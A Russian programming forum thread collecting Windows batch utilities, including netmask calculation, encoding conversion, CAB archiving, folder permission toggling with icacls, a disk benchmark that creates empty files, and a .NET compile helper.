GoTo :EOF
 
:Mask
:: Генерация одного октета маски
:: Принимает два аргумента, результат дописывается к %NetMask%
Call :DEC2BIN %1&&Set From=!Result!
Call :DEC2BIN %2&&Set To=!Result!
Call :FastCompare !From! !To!
Call :BIN2DEC !Result!
If "!NetMask!"=="" (Set NetMask=!Result!) Else (Set NetMask=!NetMask!.!Result!)
GoTo :EOF
 
:CIDR
:: Трансформация маски в формат CIDR
Set BinMask=
Set i=0
:: Разбираем маску обратно на октеты
Set NetMask=!NetMask:.= !
For %%A In (!NetMask!) Do (
    Call :DEC2BIN %%A
    :: И собираем бинарную маску
    Set BinMask=!BinMask!!Result!
)
:: Удаляем из неё незначащие нули, а единицы разделяем пробелами
Set BinMask=!BinMask:0=!
Set BinMask=!BinMask:1=1 !
:: Считаем единицы
For %%A In (!BinMask!) Do (Set /A i+=1)
:: Устанавливаем значение
Set NetMask=/!i!
Exit /B

612 / 92 / 14

Регистрация: 15.08.2012

Сообщений: 62

15.10.2012, 05:16

Пакетное получение информации о IP-адресах и построение HTML-отчёта.

Использование — поместить IP-адреса (по одному на строку) в файл iplist.txt, запустить masswhois.bat и дождаться завершения работы. Результат будет представлен в виде result.html
Если IP-адреса нужно выделить из общей массы текста, поместить текст в файл raw_data.txt и запустить get_all_ip.bat, список IP без дублей будет автоматически сгенерирован и передан на обработку masswhois.bat

В отчёте представлены: сам IP, его маска и диапазон, страна, имя подсети и адрес.

Использованные внешние утилиты — grep, uniqline, whosip, netmask.cmd

Dragokas

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,323

Записей в блоге: 17

21.10.2012, 03:05

[ТС]

Вывод текста без переноса на новую строку

Принцип подсмотрел у

alexii на сером форуме.

Код содержит невидимые символы BackSpace (0x08).
Поэтому, чтобы их увидеть, Ваш редактор должен их поддерживать.

Будет полезен для создания процентного прогрессбара
или указания на текущий обрабатываемый файл, если есть необходимость в экономии места на экране.
Это Lite-версия: не учитывает возможность превышения длиной выводимого текста ширины консольного окна.

Рабочий вариант качайте с файла.
Под спойлером код с комментариями. Он работать не будет, т.к. я заменил все BackSpace (0x08) на символ (0х20) для наглядности.
Чтобы поставить такой символ, достаточно нажать Alt + 8 (на цифровой клавиатуре).

Код — замените (0х20) на (0x08)

Bash

@Echo Off
Setlocal EnableExtensions EnableDelayedExpansion
pause>nul
:Start
Call :StrOne "Эти слова" new
pause>nul
Call :StrOne " написаны рядом" new
pause>nul
Call :StrOne "Это новая строка" crlf
pause>nul
Call :StrOne "Замена!!!"
pause>nul
Call :StrOne " Пишем рядом" new
pause>nul
Call :StrOne " И снова заменяем :)"
pause>nul
for /r c:windows %%A in (*) do Call :StrOne "%%~nxA"
goto :eof
 
:StrLen
::Вычисляет длину переменной.
::Результат записівается в переменную LastLen
set strString=%~1
set /a LastLen = 0
::Максимальная длина переменной = 1024 символа
for /l %%i in (0,1,1024) do (
  set strTempString=!strString:~%%i,1!
  if "!strTempString!" neq "" (
    set /a LastLen+=1
  )
)
exit /b 0
 
:StrOne
::%1 - строка, которую отображаем
::%2 - параметры:
::new - печатать рядом
::vblf - печатать с новой строки
::если опущен, то заменять предыдущий текст.
if "%2"=="new" (call :StrWrite "%~1"& exit /b 0)
if "%2"=="crlf" (echo.&call :StrWrite "%~1"& exit /b 0)
::если предыдущего текста не было, просто печатаем текст и записываем его длину
if not defined LastLen (call :StrWrite "%~1"& exit /b 0)
::Переменная с БекСпейсами
Set BS=
::Набиваем нужным количеством БекСпейсов
for /l %%i in (1,1,%LastLen%) do (Set BS=!BS!¶)
::Возвращаем каретку назад
<nul set /p text=%BS%
::Печатаем текст поверх старого
<nul set /p text=_¶%~1
Set /a LenBefore=%LastLen%
Call :StrLen "%~1"
::Если новый текст короче старого, нужно затереть оставшиеся символы
if %LenBefore% GTR %LastLen% (
  set Space=
  set /a n=%LenBefore%-%LastLen%
  rem Набиваем Space слева пробелами, а справа возратом каретки
  rem Нужно ее ведь затем вернуть в пред. позицию
  for /l %%i in (1,1,!n!) do (Set Space= !Space!¶)
  rem Знак подчеркивания + BackSpace здесь я использую для обхода ограничения
  rem т.к. иначе, если в начале строки мы захотим напечатать пробел - это не получится сделать
  rem Команда (<nul set /p text= Текст) выведет "Текст" без пробела!
  (<nul set /p text=_¶!Space!)
)
exit /b 0
 
:StrWrite
::Печатаем текст на той же строке
<nul set /p text=_¶%~1
::Обнуляем переменную длины предыдущей строки
set /a LenBefore=0
::Вычисляем длину напечатанной строки
Call :StrLen "%~1"
exit /b 0

Вложения

BS.rar (577 байт, 369 просмотров)

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,323

Записей в блоге: 17

27.10.2012, 02:37

[ТС]

Циклическое копирование файлов по каталогам с ожиданием завершения их дозаписи в исходную папку.

Массовая рассылка файлов

Dragokas

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,323

Записей в блоге: 17

02.11.2012, 18:00

[ТС]

Перекодировка текста

Смотрите обновленную тему: Перекодировка текста (сборник кодов для различных кодовых страниц)

Из любой кодировки в любую (через утилиту win_iconv)

Скачать утилиту.

Синтаксис:

Bash

iconv [-c] [-s] [-f encoding] [-t encoding] [inputfile …]

Перечень кодировок:

Bash

iconv -l

Пример использования:

Bash

win_iconv -f UTF-16LE -t cp866 "UTFtext.txt" > "DOStext.txt"

Подробности в теме о ключах.

Win <-> OEM (неконсольный — на языке VBA)

Автор: Dragokas

Написан на VBA (Excel). Скачать.

Для работы необходимо включить макросы:
Для Office = 2003: Сервис -> Макрос -> Безопасность -> Выставить «Средний» или «Низкий».
Для Office > 2003 MSDN

Описание функций:

Перекодировка:
— в Unicode.
— Из OEM-866 -> в Win-1251
— Из Win-1251 -> в OEM-866.
Таблица символов с их 10-ричным и 16-ым представлениями:
— 1-байтовая;
— 2-байтовая.

OEM-866 -> WIN-1251 (на CMD)

Bash

@echo off
SetLocal
::Файл с кодировкой OEM-866
set FileIn=text.txt
::Результат, куда записывать WIN-1251
set FileOut=text.txt
 
chcp 866> nul
for /f "delims=" %%a in (%FileIn%) do (
  if not defined cpReady (
    chcp 1251> nul
    set CpReady=True
  )
  call :convert "%%a"  2>NUL
)
chcp 866> nul
goto :eof
 
:convert
echo.%~1>>"%FileOut%"

OEM-866 -> WIN-1251 (через утилиту на ASM)

Скачать to1251.zip. Самый быстрый перекодировщик. Написан на ассемблере =)

Автор:

Charles Kludge

Использование только через конвейер:

Bash

ipconfig /all | to1251.exe > result.txt

Bash

to1251.exe < file1.txt > result.txt

Исходник. Код ASM:

Assembler

format PE console 4.0
 
include 'win32a.inc'
 
next:   invoke  crt_getchar
    push    eax
    invoke  GetLastError
    or  eax, eax
    jnz exit
    pop eax
    call    recode
    invoke  crt_putchar, eax
    jmp next
exit:   
        invoke  ExitProcess,0
recode: 
    cmp eax,080h        ; rus cap 'A'
    jb  @5
    cmp eax,0afh         ; rus small 'п'
    ja  @1
    or  al,40h
@5: ret
@1:
    cmp al,0e0h     ; rus small 'р'
    jae @4
    mov al,20h      ; pseudoghaphic chrs 0xb0-0xdf -> <space>
    ret
@4: cmp al, 0efh    ; rus small 'я'
    ja  @3
    add al,10h
    ret
@3:     and ax, 0fh
    mov ebx, xlt
    xlatb   
@2:
    ret
xlt db  0a8h, 0b8h, 0aah, 0bah, 0afh, 0bfh, 0a1h, 0a2h, 0b0h, 95h, 0b7h,20h,0b0h,0a4h,20h,20h
 
; import data in the same section
 data import
 
 library kernel32,'KERNEL32.DLL',
     msvcrt,'MSVCRT.DLL'
 
 import kernel32,
        ExitProcess,'ExitProcess',
        GetLastError,'GetLastError'
 
 import msvcrt,
    crt_getchar,'getchar',
    crt_putchar, 'putchar'
end data

Win-1251 -> в Unicode (UTF-16LE) (на CMD)

С возможностью указать исходную кодовую страницу:

Использование:

Bash

Batch.cmd infile outfile src_codepage

где:

Batch.cmd — сам Batch-файл
infile — файл для перекодировки
outfile — выходной файл
src_codepage — необязательный параметр. Номер кодовой страницы исходного файла.

2 варианта кода:

1) Исходник кода сохранить в кодировке WIN-1251:

Bash

@echo off
:: преобразование текстового файла в unicode (utf-16 LE)
:: вызов: to_uni infile outfile codepage
:: BAT-файл должен быть сохранен в кодировке WIN-1251
SetLocal
For /f "tokens=2 delims=:" %%G in ('CHCP') do Set _codepage=%%G
chcp 1251 >nul
CMD.EXE /D /A /C (set /p=яю)<NUL > "%~2"
CHCP %~3 >NUL
CMD.EXE /D /U /C TYPE "%~1" >> "%~2"
CHCP %_codepage% >NUL

2) исходник кода сохранить в кодировке OEM-866:

Bash

@echo off
:: преобразование текстового файла в unicode (utf-16 LE)
:: вызов: to_uni infile outfile codepage
:: BAT-файл должен быть сохранен в кодировке OEM-866
SetLocal EnableExtensions
For /f "tokens=2 delims=:" %%G in ('CHCP') do Set _codepage=%%G
chcp 866 >nul
for /F %%? in ('echo яю') do chcp 1251 >nul& CMD.EXE /D /A /C (set /p=яю)<NUL > "%~2"
CHCP %~3 >NUL
CMD.EXE /D /U /C TYPE "%~1" >> "%~2"
CHCP %_codepage% >NUL

Как настроить кодировку исходного кода Batch-файла, какой выбрать редактор: Русский текст в консоли

UTF-8 -> Win-1251 (cmd)

От Smitis

Bash

:: UTF-8 -> ANSI
@echo off
chcp 65001 > nul
cmd /u /c type utf8.txt > tmp.txt
chcp 1251 > nul
type tmp.txt > ansi.txt

UTF-16 -> OEM-866 (cmd)

Bash

1	cmd /a /c type utf16.txt > 866.txt

UTF-16 -> Win-1251 (cmd)

Bash

1 2	chcp 1251 cmd /a /c type utf16.txt > 866.txt

Вложения

FromUnicode (конвертор)2.rar (59.5 Кб, 564 просмотров)

Dragokas

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,323

Записей в блоге: 17

12.11.2012, 07:27

[ТС]

Завершение процесса (оформлено в виде меню).

Развернуть код

Bash

@echo off
SetLocal EnableDelayedExpansion
:begin
cls
For /F "tokens=1 delims=," %%p In ('tasklist /FO CSV /nh^|sort') Do (
  Set nam=%%p
  Set /A nn+=1
  set proc!nn!=%%p
  echo !nn!. %%~p
)
:start
set /p kill=Введите номер процесса, который нужно завершить:
if "%kill%"=="" goto :start
echo Выбран !proc%kill%!. Уверены? (нажмите ENTER)
echo.
pause
taskkill /f /im !proc%kill%! /T
goto begin

Миниатюры

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,323

Записей в блоге: 17

12.11.2012, 07:57

[ТС]

Крутящаяся палка (имитация).
Автор: sov44

По типу — песочные часы в Windows =))

Dragokas

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,323

Записей в блоге: 17

12.11.2012, 09:10

[ТС]

Создание CAB-архивов
(в т.ч. самораспаковующихся EXE).
а также распаковка CAB.

Автор:

Alex Averchenkoff

Развернуть код

Bash

@echo **************************************************
@echo ((((((((((((((((((((((((((((((((((((((((((((((((((
@echo Name:         CabMaker.exe
@echo Description:  A program for creating cab archives 
@echo Version:      v. 1.0.0.0
@echo Copyright:    @Alex Averchenkoff
@echo Create:       2011
@echo ))))))))))))))))))))))))))))))))))))))))))))))))))
@echo **************************************************
 
@echo off
 
set SaveName=""
 
rem ******************************************************
rem СТАРТОВЫЙ БЛОК - ВЫБИРАЕМ ДЕЙСТВИЕ:ПРОСМОТРРАСПАКОВКАСОЗДАНИЕ АРХИВА
rem ******************************************************
:start
echo.
set /p action=VIEW-1^|EXPAND-2^|CREATE-3:
if /i "%action%"=="1" (goto view) 
if /i "%action%"=="2" (goto extract) 
if /i "%action%"=="3" (goto create) 
exit 
 
rem ******************************************************
rem ПРОСМОТР CAB АРХИВА
rem ******************************************************
:view
set /p name=ENTER NAME ARCHIVE:
if "%SaveName%"=="" ( set SaveName=%name%)
if "%name%"=="" ( set name=%SaveName%)
if not "%name%"=="" (expand -D %name%.cab) else ( goto view)
 
if errorlevel 0 (goto action) 
if errorlevel 1 (@echo An error occurred, try again)
 
rem ******************************************************
rem РАСПАКОВКА CAB АРХИВА - ФАЙЛЫ РАСПАКОВЫВАЮТСЯ В ДИРЕКТОРИЮ ОДНОИМЕННУЮ С ИМЕНЕМ АРХИВА
rem ******************************************************
:extract
set /p name=ENTER NAME ARCHIVE:
if "%SaveName%"=="" ( set SaveName=%name%)
if "%name%"=="" ( set name=%SaveName%)
if not "%name%"=="" (md "%~dp0%name%" && expand %name%.cab /F:*  .%name%) else ( goto extract)
 
 
if errorlevel 0 (@echo Archive successfully unzipped! & goto action) 
if errorlevel 1 (@echo An error occurred, try again)
 
:action
echo You want to continue or exit the program?
set /p action=TO CONTINUE OR EXIT? [YN]:
if /i "%action%"=="Y" (goto start) else exit
 
rem ******************************************************
rem СОЗДАНИЕ НОВОГО CAB АРХИВА  - СОЗДАЕТСЯ В ПАПКЕ РАСПОЛОЖЕНИЯ БАТНИКА
rem ******************************************************
:create
set /p name=ENTER NAME FOR ARCHIVE:
if "%SaveName%"=="" ( set SaveName=%name%)
if "%name%"=="" ( set name=%SaveName%)
if "%name%"=="" ( goto create)
 
rem ******************************************************
rem БУДЕМ ЛИ СОЗДАВАТЬ РАСПАКОВЫВАЮЩИЙСЯ АРХИВ
rem ******************************************************
set /p sfx=CREATE SFX?[YN]:
 
if /i "%sfx%"=="Y" (@echo  Initiated the creation of self-extracting archive)
echo.
rem ******************************************************
rem СОЗДАЕМ СПИСОК ФАЙЛОВ И ФАЙЛ ОТВЕТОВ ДЛЯ MAKECAB
rem ******************************************************
@echo  .Set CabinetNameTemplate=%name%.cab>make.ddf
@echo  .Set CompressionType=MSZIP>>make.ddf
@echo  .Set MaxDiskSize=CDROM>>make.ddf
@echo  .Set ReservePerCabinetSize=6144>>make.ddf
@echo  .Set Compress=on>>make.ddf
@echo  .Set CompressionMemory=21>>make.ddf
@echo  .Set DiskDirectoryTemplate=".">>make.ddf
@echo  .Set Cabinet=ON>>make.ddf
@echo  .Set MaxCabinetSize=999999999>>make.ddf 
@echo  .Set CompressionLevel=^7>>make.ddf
 
rem ******************************************************
rem СОЗДАЕМ ОБЫЧНЫЙ АРХИВ
rem ******************************************************
chcp 1251>nul
FOR /R %%f IN (*.*) DO  (
    If not "%%~nxf"=="make.ddf" (
       @If not "%%~nxf"=="CabMaker.bat" (@echo "%%f">>make.ddf))
    )
makecab /F make.ddf
if /i "%sfx%"=="Y" (goto create_sfx) else ( goto clear)
 
:clear
del setup.inf
del setup.rpt
del make.ddf
chcp 866 > nul
echo.
echo Creating a backup is successfully completed!
goto action
 
 
rem ******************************************************
rem МАГИЕЙ ПРЕВРАЩАЕМ ОБЫЧНЫЙ АРХИВ В САМРАСПАКОВЫВАЮЩИЙСЯ  :-)
rem ******************************************************
:create_sfx
copy /b %windir%system32extrac32.exe+%name%.cab %name%.exe
del setup.inf
del setup.rpt
del make.ddf
del %name%.cab
chcp 866 > nul
echo.
echo Create self-extracting archive completed successfully!
goto action

Вложения

CabMaker.zip (1.4 Кб, 696 просмотров)

Dragokas

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,323

Записей в блоге: 17

18.11.2012, 06:05

[ТС]

Смена владельца и прав на папку и ее содержимое, в которой запущен батник (Full Access <-> Read Only)
Автор: Dragokas

Обновлено 20.11.2012. Добавлена совместимость с XP и Server 2003.

1) RO.cmd (ReadOnly) — делает все файлы и папки доступными только для чтения и выполнения.
Дополнительно разрешается в текущей папке — создавать файлы.
Все остальные операции, в т.ч. и создание файлов в подкаталогах — запрещено.

2) FA.cmd (FullAccess) — восстанавливает полный доступ для всех пользователей.

Для нормальной работы в ОС Windows Vista, Win 7 батник нужно запускать правой кнопкой мыши «От имени Администратора».
FA.cmd будет работать после блокировки RO.cmd-хой только при запуске от Админа.

Как пользоваться:
Файл множество раз протестирован и безопасен, если будете придерживаться правила:
Запускать батник только из той папки, в которой нужно ограничить доступ (RO.cmd) или получить полные права (FA.cmd).
Работает рекурсивно для всех подкаталогов, начиная с каталога, где находится батник.

Для корректной работы, вероятно, понадобится утилита из Microsoft Support Tools — ICACLS (включена в ОС Windows Server 2003, начиная с SP2).

Поддержка:
Скрипт протестирован в средах английской и русской локализаций, а также:
1) Windows XP SP2
2) Windows Server 2003 SP2
3) Windows 7 SP1

Исходный код

Сохранять в кодировке OEM-866.

FA.cmd

Bash

@echo off
if "%1"=="" (
  Echo Working...
  Call "%~dpnx0" 0 1>nul 2>&1
  Echo Ready...
  Goto :eof
)
 
Setlocal Enableextensions
 
Set Cur=%~dp0
Set Cur=%Cur:~0,-1%
 
takeown /f "%Cur%" /r /d y
 
icacls "%Cur%" /grant All:f /T /C
icacls "%Cur%" /grant Все:f /T /C

RO.cmd

Bash

@echo off
if "%1"=="" (
  Echo Working...
  Call "%~dpnx0" 0 1>nul 2>&1
  Echo Ready...
  Goto :eof
)
 
Setlocal Enableextensions
 
Set Cur=%~dp0
Set Cur=%Cur:~0,-1%
 
takeown /f "%Cur%" /r /d y
 
icacls "%Cur%" /deny All:(DE,WDAC,WO,AS,WD,AD,WEA,DC,WA) /T /C
icacls "%Cur%" /deny Все:(DE,WDAC,WO,WD,AS,AD,WEA,DC,WA) /T /C
 
icacls "%Cur%" /grant All:(RC,S,GR,GW,GE,RD,REA,X,RA) /T /C
icacls "%Cur%" /grant Все:(RC,S,GR,GW,GE,RD,REA,X,RA) /T /C
 
icacls "%Cur%" /grant All:(WD) /C
icacls "%Cur%" /grant Все:(WD) /C
 
icacls "%~dpnx0" /grant:r Все:f /C
icacls "%~dpnx0" /grant:r All:f /C

В коде использован метод двойного запуска скрипта исключительно для упрощения
перенаправления потока вывода в NUL.
Метод «обворачивания» скобками приводил к синтаксическим ошибкам в силу
некоторых особенностей работы утилиты ICACLS.

Обсуждение скрипта в теме: Смена владельца и прав на папку и ее содержимое

Вложения

	Access.zip (671 байт, 1013 просмотров)
	icacls.exe — Vista — Windows 7.zip (14.3 Кб, 706 просмотров)
	icacls.exe — XP — Server 2003.zip (13.9 Кб, 421 просмотров)

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,323

Записей в блоге: 17

26.11.2012, 13:41

[ТС]

Пищалка (подобие beep)
на простой команде Эхо.

Блокнотом Windows не редактировать!
(использован служебный символ &H07 и кодовая страница OEM-866)

Из командной строки звук можно симмитировать нажатием Ctrl+G, {ENTER}.

khaarax

6 / 2 / 0

Регистрация: 09.12.2012

Сообщений: 5

09.12.2012, 23:00

Вызов GUI диалогового окна выбора папки
Это HTA-обертка на JavaScript-е для открытия диалогового окна выбора папки через объект WshShell.

Развернуть код

Bash

@echo off
setlocal
 
for /f "tokens=2 delims=:" %%i in ('chcp') do (
    set sPrevCP=%%i
    chcp 1251 >nul
)
 
for /f "usebackq delims=" %%i in (
    `@"%systemroot%system32mshta.exe" "javascript:var objShellApp = new ActiveXObject('Shell.Application');var Folder = objShellApp.BrowseForFolder(0, 'SELECT FOLDER',1, '::{20D04FE0-3AEA-1069-A2D8-08002B30309D}');try {new ActiveXObject('Scripting.FileSystemObject').GetStandardStream(1).Write(Folder.Self.Path)};catch (e){};close();" ^
    1^|more`
) do set sFolderName=%%i
 
chcp %sPrevCP% >nul
 
if defined sFolderName (
    echo Выбрана папка: %sFolderName%
) else (
    echo Папка не была выбрана.
)
pause

Копирайты не помню чьи.

Миниатюры

Dragokas

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,323

Записей в блоге: 17

30.12.2012, 04:46

[ТС]

Многопроцессное создание пустых файлов (бенчмарк для винчестера)
Код от: Dragokas
Спасибо Petya V4sechkin (OSZone) за ценную подсказку о синтаксисе запуска процесса.

P.S. Ниже «процессы» названы «потоками» (простите за эту глупую опечатку).

Настраиваемые параметры:
Set Dest=y:m2 — каталог, в котором создавать файлы
Set /A Potok=50 — общее кол-во запускаемых потоков
Set /A PotokMax=8 — максимальное кол-во одновременно запускаемых потоков
Set /A Range=10000 — кол-во пустых файлов, создаваемых каждым потоком.

Развернуть код

Bash

::Многопотоковое создание пустых файлов ::by Alex Drago.kas
@echo off
Setlocal EnableDelayedExpansion EnableExtensions
Set Dest=y:m2
Set /A Potok=50
Set /A PotokMax=8
Set /A Range=10000
 
if not exist "%Dest%" md "%Dest%"
::1 из потоков - управляющий (этот код) + 1(?не знаю почему)
Set /A PotokMax+=2
 
Set TimeS=%Time%
Call :TimeToMSec "%TimeS%" TimeS_ms
Echo Задание начато в %TimeS%
 
Set /A sS=0
For /L %%P in (1,1,%Potok%) do (
  Set /A sE=!sS!+%Range%-1
  start "Stream %%P" /min "CMD /Q /C For /L %%N in (!sS!,1,!sE!) do cd.>%Dest%%%N"
  Set /A sS+=%Range%
  Echo Запущен поток № %%P
  Call :WaitForReady %PotokMax%
)
Echo Все потоки запущены.
Echo Ожидаю завершения заданий.
 
Call :WaitForReady 3&:: (+1 ?не знаю почему)
 
Set TimeE=%Time%
Call :TimeToMSec "%TimeE%" TimeE_ms
 
Echo Задание  начато  в  %TimeS%
Echo Задание завершено в %TimeE%
 
Set /A diff=TimeE_ms-TimeS_ms
Set /A diffSS=diff/100
Set /A diffms=%diff% %% 100
Set /A TotalFiles=Potok*Range
Set /A Speed=TotalFiles*100/diff
Echo Записано %TotalFiles% файлов.
Echo Затрачено: %diffSS%,%diffms% с.
Echo Скорость:  %Speed% файлов/с.
Echo.
pause
Goto :eof
 
:WaitForReady %PotokMax%
Set /A n=0
For /F "Delims=" %%A in ('tasklist^|Findstr /BLIC:cmd.exe') do (Set /A n+=1)
if %n% LSS %~1 Exit /B
ping -w 100 -n 1 192.168.254.254> nul
Goto :WaitForReady
 
:TimeToMSec %Time% %var_mSec%
For /F "Tokens=1-4 Delims=,:" %%A in ("%~1") do (
  Set /A HH=%%A
  Set MM=1%%B& Set /A MM=!MM!-100
  Set SS=1%%C& Set /A SS=!SS!-100
  Set mS=1%%D& Set /A mS=!mS!-100
)
Set /A %~2=(HH*60*60+MM*60+SS)*100+mS
Exit /B

В поданном коде создается 50*10000 = 0,5 млн. файлов, так что попытавшись открыть такую папку даже файловым менеджером все напрочь зависнет.
Чтобы удалить созданные файлы, прилагаю еще один бат-файл, который визуально отображает %-ый индикатор завершения удаления файлов.

Результаты тестов на моем SSD

Индикация процесса удаления папки

Развернуть код…

Bash

::Индикация процесса удаления папки
@echo off
Set Fold=y:m2
 
Echo Удаляю каталог %Fold%
Start /min cmd /c "rmdir /s /q "%Fold%"& exit"
 
Call :Count
Set /A Full=%n%
Echo 0%% - %Full% files
 
:Continue
Call :Count
Set /A Percent=100-(%n%*100/%Full%)
Echo %Percent%%%
ping -w 1000 -n 1 192.168.254.254> nul
if %n% neq 0 Goto :Continue
Echo.
Echo Ends.
pause
 
:Count
Set /A n=0
if not exist "%Fold%" Exit /B
dir /b "%Fold%">"%temp%files.tmp"
for /F "Delims=" %%A in ('find /v /c ""^<"%temp%files.tmp"') do (Set /A n=%%A)
::for /F "UseBackQ Delims=" %%A in ("%temp%files.tmp") do @Set /A n+=1
Exit /B

Вложения

Speed.zip (1.5 Кб, 397 просмотров)

Dragokas

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,323

Записей в блоге: 17

03.01.2013, 02:43

[ТС]

Помощник компиляции исходных кодов и проектов .NET (.cs / .sln (C#, VB.NET)) через консольный NET.FrameWork компилятор (csc или msbuild)
Автор: Dragokas

UPD. 02.03.2017 — добавил скрипт для msbuild.

Зачем нужен:
Например, в системе не установлена MS Visual Studio или другая среда разработки.

Требования:
Установленный NET.FrameWork, в некоторых случаях Windows SDK.

Использование:
1. Перетянуть на данный скрипт файл с исходным кодом C# (.cs / .sln) — «Drag & Drop»
2. Либо задать как аргумент в консоли, например, compile.cmd source.cs

Функционал:
Компиляция исходного кода C# с помощью консольного CSC.exe (msbuild) компилятора.
Все версии FrameWork-а скрипт находит в папке windowsmicrosoft.net, после чего дает Вам выбор какой версией компилировать и запоминает ее.
Ведет файл-протокола ошибок в DOS (CP-866) и WIN (CP-1251) кодировках и предлагает его сохранить.
Ошибки выводит также на экран. В случае их отсутствия, скрипт завершает работу без ожидания.

Внутри скрипта есть некоторые комментарии по детальным настройкам.

Кликните здесь для просмотра всего текста

Bash

@echo off& :: by Alex Dragokas -02.01.2013-
::Помощник компиляции исходников C#
Setlocal EnableDelayedExpansion EnableExtensions
 
::Задайте путь к файлу настроек скрипта
set FWCompilerPath=%temp%FWCompile.cfg
::Задайте здесь полный путь к компилятору, либо он будет найден и сохранен автоматически в файл FWCompile.cfg
::set FWExec=c:WindowsMicrosoft.NETFrameworkv3.5csc.exe
::Путь к временным файлам протокола ошибок
set log866=%temp%compile_err866.log
set log1251=%temp%compile_err.log
 
Echo Помощник компиляции исходных файлов C# (.cs)
Echo.
if "%1"=="" (
  Echo Перетяните исходный файл .cs на этот скрипт ^(Drag ^& Drop^),
  Echo или задайте его как аргумент, например "%~nx0" "c:tempsource.cs"
  Echo.& pause& Goto :eof
)
 
::Если путь указан в шапке
if Defined FWExec goto :begin
::Читаю путь к компилятору из файла настроек
if exist "%FWCompilerPath%" for /f "UseBackQ delims=" %%A in ("%FWCompilerPath%") do set FWExec=%%A& goto :begin
 
Echo Выберите версию FrameWork, с помощью которой по-умолчанию будет компилироваться исходник
Echo.
for /f "delims=" %%A in ('dir /b /s /a:-d "%windir%Microsoft.NETcsc.exe"') do (
  Set /A n+=1
  Set FW!n!=%%A
  for /f "tokens=4,5 delims=" %%r in ("%%A") do (
    echo %%r|find "64">nul
    if !errorlevel!==0 (set arch=x64) else (set arch=x32)
    echo !n!. !arch! %%s
  )
)
if not Defined n (Echo На компьютере не обнаружен установленный FrameWork& Echo.& pause& goto :eof)
Echo.
:FWenter
Set /p FWver="Ожидаю ввода: "
if "%FWver%"=="" Goto :FWenter
if %FWver% LSS 0 Goto :FWenter
if %FWver% GTR %n% Goto :FWenter
set FWExec=!FW%FWver%!
Echo %FWExec%> "%FWCompilerPath%"
 
::Дополнительные параметры
::/unsafe - компиляция блоков с прямым доступом к памяти
::/reference:"%Ref%addon.dll" - подключить дополнительный модуль
::/target:library - скомпилировать как библиотеку классов; winexe - исполнительный файл Windows
::/res:"file.mp3" - внедрить в ресурсы внешний файл
::/debug - отображать отладочную информацию
::/warn:0 - уровень предупреждений
::/nologo - не отображать информацию об авторских правах
:begin
"%FWExec%" /target:exe /nologo /out:"%~dpn1.exe" "%~dpnx1" 1>"%log866%" 2>&1
if %errorlevel% neq 0 (
  Call :Recode
  Echo Во время компиляции возникла ошибка
  Echo.
  Type "%log866%"
  Echo.
  (set /p key=Нажмите Y, чтобы сохранить протокол ошибок в файл: )
  if /i "!key!"=="Y" (move /y "%log1251%" "%~dp1"& del /q "%log866%") else (del /q "%log866%"& del /q "%log1251%")  
) else (del /q "%log866%")
Exit /B
 
:Recode
::Файл с кодировкой WIN-866
set FileIn=%log866%
::Результат, куда записывать OEM-1251
set FileOut=%log1251%
 ::chcp 1251> nul
for /f "delims=" %%a in (%FileIn%) do (
  if not defined cpReady (
    chcp 1251> nul
    set CpReady=True
  )
  call :convert "%%a"
)
chcp 866> nul
exit /B
 
:convert
echo %~1>>"%FileOut%"
Exit /B

P.S. Скрипт для msbuild — упрощённый (лог-файл не ведётся).

Кликните здесь для просмотра всего текста

Windows Batch file

@echo off& :: by Alex Dragokas -02.03.2017-
::Помощник компиляции исходников C#
Setlocal EnableDelayedExpansion EnableExtensions
 
::Задайте здесь полный путь к компилятору, либо будет предложен выбор
::set FWExec=%SystemRoot%Microsoft.NETFrameworkv3.5msbuild.exe
 
Echo Помощник компиляции проектов .NET (.sln)
Echo.
if "%1"=="" (
  Echo Перетяните исходный файл .cs на этот скрипт ^(Drag ^& Drop^),
  Echo или задайте его как аргумент, например "%~nx0" "c:tempsource.sln"
  Echo.& pause& Goto :eof
)
 
::Если путь указан в шапке
if Defined FWExec goto :begin
 
Echo Выберите версию FrameWork, с помощью которой по-умолчанию будет компилироваться исходник
Echo.
for /f "delims=" %%A in ('dir /b /s /a:-d "%windir%Microsoft.NETmsbuild.exe"') do (
  Set /A n+=1
  Set FW!n!=%%A
  for /f "tokens=4,5 delims=" %%r in ("%%A") do (
    echo %%r|find "64">nul
    if !errorlevel!==0 (set arch=x64) else (set arch=x32)
    echo !n!. !arch! %%s
  )
)
if not Defined n (Echo На компьютере не обнаружен установленный FrameWork& Echo.& pause& goto :eof)
Echo.
:FWenter
Set /p FWver="Ожидаю ввода: "
if "%FWver%"=="" Goto :FWenter
if %FWver% LSS 0 Goto :FWenter
if %FWver% GTR %n% Goto :FWenter
set FWExec=!FW%FWver%!
 
SetLocal DisableDelayedExpansion
 
:begin
"%FWExec%" "%~1" /t:rebuild /p:Configuration=Debug /p:Platform="any cpu" /clp:Nosummary
if %errorlevel% neq 0 (
  echo.
  Echo ^>^>^> Во время компиляции возникла ошибка ^<^<^<
  pause>NUL
)

Вложения

	Compiler.zip (2.3 Кб, 250 просмотров)
	msbuild_me2.zip (1.1 Кб, 77 просмотров)

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,323

Записей в блоге: 17

06.01.2013, 02:03

[ТС]

Отслеживание зависшего процесса и его перезапуск с указанным приоритетом
Автор: Dragokas

Все параметры настраиваемы (см. начало кода и спойлер). Комментарии писал на английском, уж как есть.

Принцип работы:
Задаем имя процесса(ов), который будем отслеживать.
В системе могут быть несколько процессов с одинаковым именем. Скрипт идентифицирует их по PID и не путается.
Если найден процесс с указанным именем и статусом «Not responding»,
начинается валидация (повторная проверка этого статуса на протяжении заданного времени и указанное кол-во раз).

(а вдруг процесс подвис на секунду — не «убивать» же его из-за этого!!!)

Если все проверки позитивны, ищем полный путь к процессу по номеру его Process ID (используется инструментарий WMIC).
Принудительно завершаем процесс по PID.
Выжидаем указанную задержку перед повторным запуском.
Запускаем тот же процесс с указанным приоритетом в минимизированном виде.

